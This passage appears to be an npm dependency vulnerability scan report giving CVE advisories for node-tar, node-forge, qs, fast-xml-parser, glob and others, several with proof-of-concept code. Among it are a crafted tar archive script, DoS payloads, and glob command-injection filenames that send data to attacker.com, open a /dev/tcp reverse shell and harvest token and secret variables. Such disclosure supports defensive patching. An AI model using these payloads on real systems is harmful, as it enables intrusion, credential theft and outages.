The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})
Impact

Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.

Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

node-forge 1.3.1 (npm)

pkg:npm/node-forge@1.3.1

Uncontrolled Recursion

Affected range	`<1.3.2`
Fixed version	`1.3.2`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.115%`
EPSS Percentile	`31st percentile`

Description

Summary

An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.

Details

An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.

Impact

This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.

This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.

Interpretation Conflict

Affected range	`<1.3.2`
Fixed version	`1.3.2`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.059%`
EPSS Percentile	`19th percentile`

Description

Summary

CVE-2025-12816 has been reserved by CERT/CC

Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Details

A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.

This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).

Impact

This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.

This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.

The following components in node-forge are impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.js

Any downstream application using these components is impacted.

These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

async 0.9.2 (npm)

pkg:npm/async@0.9.2

OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range	`<2.6.4`
Fixed version	`2.6.4, 3.2.2`
CVSS Score	`7.8`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
EPSS Score	`0.442%`
EPSS Percentile	`63rd percentile`

Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

tar-fs 2.1.3 (npm)

pkg:npm/tar-fs@2.1.3

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`>=2.0.0 <2.1.4`
Fixed version	`2.1.4`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.028%`
EPSS Percentile	`7th percentile`

Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.
  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }
Credit

Reported by: Mapta / BugBunny_ai

qs 6.5.3 (npm)

pkg:npm/qs@6.5.3

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.163%`
EPSS Percentile	`38th percentile`

Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)
Configuration:

arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)

Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)

Application parses with qs.parse(query, { arrayLimit: 100 })

qs ignores limit, parses all 100,000 elements into array

Server memory exhausted → application crashes or becomes unresponsive

Service unavailable for all users

Real-world impact:

Single malicious request can crash server

No authentication required

Easy to automate and scale

Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

qs 6.14.0 (npm)

pkg:npm/qs@6.14.0

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.163%`
EPSS Percentile	`38th percentile`

Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)
Configuration:

arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)

Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)

Application parses with qs.parse(query, { arrayLimit: 100 })

qs ignores limit, parses all 100,000 elements into array

Server memory exhausted → application crashes or becomes unresponsive

Service unavailable for all users

Real-world impact:

Single malicious request can crash server

No authentication required

Easy to automate and scale

Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

fast-xml-parser 5.2.0 (npm)

pkg:npm/fast-xml-parser@5.2.0

Uncaught Exception

Affected range	`>=4.3.6 <=5.3.3`
Fixed version	`5.3.4`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.072%`
EPSS Percentile	`22nd percentile`

Description

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:
"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

[0-9]{1,7} matches up to 9,999,999

[0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:
val = val.replace(entity.regex, entity.val);
This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:
poc/
├── package.json
├── server.js
package.json
{ "dependencies": { "fast-xml-parser": "^5.3.3" } }
server.js
const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));
Run
# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse
Result

Server crashes with:
RangeError: Invalid code point 9999999
Alternative Payloads

<?xml version="1.0"?><root>&#xFFFFFF;</root>


<?xml version="1.0"?><root attr="&#9999999;"/>
Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads

File processors parsing uploaded XML files

Message queues consuming XML messages

RSS/Atom feed parsers

SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

async 1.5.2 (npm)

pkg:npm/async@1.5.2

OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range	`<2.6.4`
Fixed version	`2.6.4, 3.2.2`
CVSS Score	`7.8`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
EPSS Score	`0.442%`
EPSS Percentile	`63rd percentile`

Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

npm 10.9.2 (npm)

pkg:npm/npm@10.9.2

Incorrect Permission Assignment for Critical Resource

Affected range	`<=11.8.0`
Fixed version	Not Fixed
CVSS Score	`7`
CVSS Vector	`CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`
EPSS Score	`0.014%`
EPSS Percentile	`2nd percentile`

Description

npm cli Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of npm cli. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the handling of modules. The application loads modules from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of a target user.

linkifyjs 4.2.0 (npm)

pkg:npm/linkifyjs@4.2.0

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range	`<4.3.2`
Fixed version	`4.3.2`
CVSS Score	`8.8`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N`
EPSS Score	`0.123%`
EPSS Percentile	`32nd percentile`

Description

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.

qs 6.13.0 (npm)

pkg:npm/qs@6.13.0

Improper Input Validation

Affected range	`<6.14.1`
Fixed version	`6.14.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.163%`
EPSS Percentile	`38th percentile`

Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)
Configuration:

arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)

Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)

Application parses with qs.parse(query, { arrayLimit: 100 })

qs ignores limit, parses all 100,000 elements into array

Server memory exhausted → application crashes or becomes unresponsive

Service unavailable for all users

Real-world impact:

Single malicious request can crash server

No authentication required

Easy to automate and scale

Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

connect-multiparty 2.2.0 (npm)

pkg:npm/connect-multiparty@2.2.0

Unrestricted Upload of File with Dangerous Type

Affected range	`<=2.2.0`
Fixed version	Not Fixed
CVSS Score	`7.8`
CVSS Vector	`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
EPSS Score	`0.448%`
EPSS Percentile	`63rd percentile`

Description

An arbitrary file upload vulnerability in the file upload module of Express Connect-Multiparty 2.2.0 allows attackers to execute arbitrary code via a crafted PDF file. NOTE: the Supplier has not verified this vulnerability report.

tar-fs 3.0.9 (npm)

pkg:npm/tar-fs@3.0.9

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`>=3.0.0 <3.1.1`
Fixed version	`3.1.1`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`
EPSS Score	`0.028%`
EPSS Percentile	`7th percentile`

Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.
  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }
Credit

Reported by: Mapta / BugBunny_ai

fast-xml-parser 4.5.3 (npm)

pkg:npm/fast-xml-parser@4.5.3

Uncaught Exception

Affected range	`>=4.3.6 <=5.3.3`
Fixed version	`5.3.4`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.072%`
EPSS Percentile	`22nd percentile`

Description

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:
"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

[0-9]{1,7} matches up to 9,999,999

[0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:
val = val.replace(entity.regex, entity.val);
This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:
poc/
├── package.json
├── server.js
package.json
{ "dependencies": { "fast-xml-parser": "^5.3.3" } }
server.js
const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));
Run
# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse
Result

Server crashes with:
RangeError: Invalid code point 9999999
Alternative Payloads

<?xml version="1.0"?><root>&#xFFFFFF;</root>


<?xml version="1.0"?><root attr="&#9999999;"/>
Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads

File processors parsing uploaded XML files

Message queues consuming XML messages

RSS/Atom feed parsers

SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

glob 10.4.5 (npm)

pkg:npm/glob@10.4.5

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range	`>=10.2.0 <10.5.0`
Fixed version	`11.1.0`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`
EPSS Score	`0.038%`
EPSS Percentile	`11th percentile`

Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:

User runs glob -c <command> <pattern>

CLI finds files matching the pattern

Matched filenames are collected into an array

Command is executed with matched filenames as arguments using shell: true

Shell interprets metacharacters in filenames as command syntax

Malicious filenames execute arbitrary commands

Affected Component:

CLI Only: The vulnerability affects only the command-line interface

Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected

Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.

Any directory where attackers can control filenames (PR branches, archives, user uploads)

CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:

The echo command executes normally

Additionally: The $(touch injected_poc) in the filename is evaluated by the shell

A new file injected_poc is created, proving command execution

Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact

Arbitrary Command Execution:

Commands execute with full privileges of the user running glob CLI

No privilege escalation required - runs as current user

Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

Malicious PR adds files with crafted names to repository

CI pipeline uses glob -c to process files (linting, testing, deployment)

Commands execute in CI environment with build secrets and deployment credentials

Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

Developer clones repository or extracts archive containing malicious filenames

Local build scripts use glob -c for file processing

Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

Services using glob CLI to process uploaded files or external content

File uploads with malicious names trigger command execution

Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

Malicious packages or themes include files with crafted names

Build processes using glob CLI automatically process these files

Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing

Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL

Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

Ecosystem: npm

Package name: glob

Component: CLI only (src/bin.mts)

Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)

Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)

Patched versions: 11.1.0and 10.5.0

Scope Limitation:

Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe

CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.

If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.

As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

axios 1.8.4 (npm)

pkg:npm/axios@1.8.4

Allocation of Resources Without Limits or Throttling

Affected range	`>=1.0.0 <1.12.0`
Fixed version	`1.12.0`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
